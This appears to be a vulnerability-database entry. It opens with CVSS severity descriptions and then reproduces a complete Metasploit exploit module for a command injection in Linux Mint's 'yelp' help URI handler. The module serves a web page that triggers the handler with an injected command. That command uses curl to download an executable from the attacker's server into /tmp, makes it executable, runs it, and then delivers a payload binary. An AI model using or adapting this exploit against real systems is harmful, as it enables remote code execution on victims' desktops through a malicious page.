The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
High
AC
The successful attack depends on the evasion or circumvention of security-enhancing techniques in place that would otherwise hinder the attack. These include: Evasion of exploit mitigation techniques. The attacker must have additional methods available to bypass security measures in place. For example, circumvention of address space randomization (ASLR) or data execution prevention must be performed for the attack to be successful. Obtaining target-specific secrets. The attacker must gather some target-specific secret before the attack can be successful. A secret is any piece of information that cannot be obtained through any amount of reconnaissance. To obtain the secret the attacker must perform additional attacks or break otherwise secure measures (e.g. knowledge of a secret key may be needed to break a crypto channel). This operation must be performed for each attacked target.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
Scope
S
An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Linux Mint 19.1 yelp Command Injection
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
# Exploit from github repro: https://github.com/b1ack0wl/linux_mint_poc
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info={})
super(update_info(info,
'Name' => "Linux Mint 'yelp' URI handler command injection vulnerability",
'Description' => %q{
This module exploits a vulnerability within the "ghelp", "help" and "man" URI handlers within
Linux Mint's "ubuntu-system-adjustments" package. Invoking any one the URI handlers will call
the python script "/usr/local/bin/yelp" with the contents of the supplied URI handler as its argument.
The script will then search for the strings "gnome-help" or "ubuntu-help" and if doesn't find either
of them it'll then execute os.system("/usr/bin/yelp %s" % args). User interaction is required to exploit
this vulnerability.
},
'License' => MSF_LICENSE,
'Author' =>
[
'b1ack0wl' # vuln discovery and exploit dev
],
'Payload' =>
{
'DisableNops' => true
},
'DefaultOptions' =>
{
'WfsDelay' => 60
},
'Platform' => 'linux',
'Targets' =>
[
[ 'Linux Mint 18.3 and 19.1',
{
'Arch' => ARCH_X64
}
]
],
'Privileged' => false,
'DefaultTarget' => 0))
end
def generate_exploit_html()
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
srv_host = datastore['LHOST']
else
srv_host = datastore['SRVHOST']
end
@filename = rand_text_alpha(4)
cmd_inj = "curl http://#{srv_host}:#{datastore['SRVPORT']}/#{@service_path} -o /tmp/#{@filename};chmod 777 /tmp/#{@filename};/tmp/#{@filename} &".gsub(' ','$IFS$()') # Cheap way to add spaces since chrome percent encodes spaces (%20).
html = %Q|
<html>
<head>
<meta content="text/html;charset=utf-8" http-equiv="Content-Type">
<meta content="utf-8" http-equiv="encoding">
<title>paparoachfanclubdotcom</title>
</head>
<body>
<script>
lmao = document.createElement('a');
lmao.href= "ghelp://$(#{cmd_inj})";
document.body.appendChild(lmao); /* Needed to work with Firefox */
lmao.click();
</script>
</body>
</html>
|
return html
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
if agent =~ /curl\/\d/
# Command has been executed. Serve up the payload
exe_payload = generate_payload_exe()
print_status("Sending payload...")
send_response(cli, exe_payload)
register_file_for_cleanup("/tmp/#{@filename}")
return
else
html = generate_exploit_html()
print_status("Sending HTML...")
send_response(cli, html, {'Content-Type'=>'text/html'})
end
end
end
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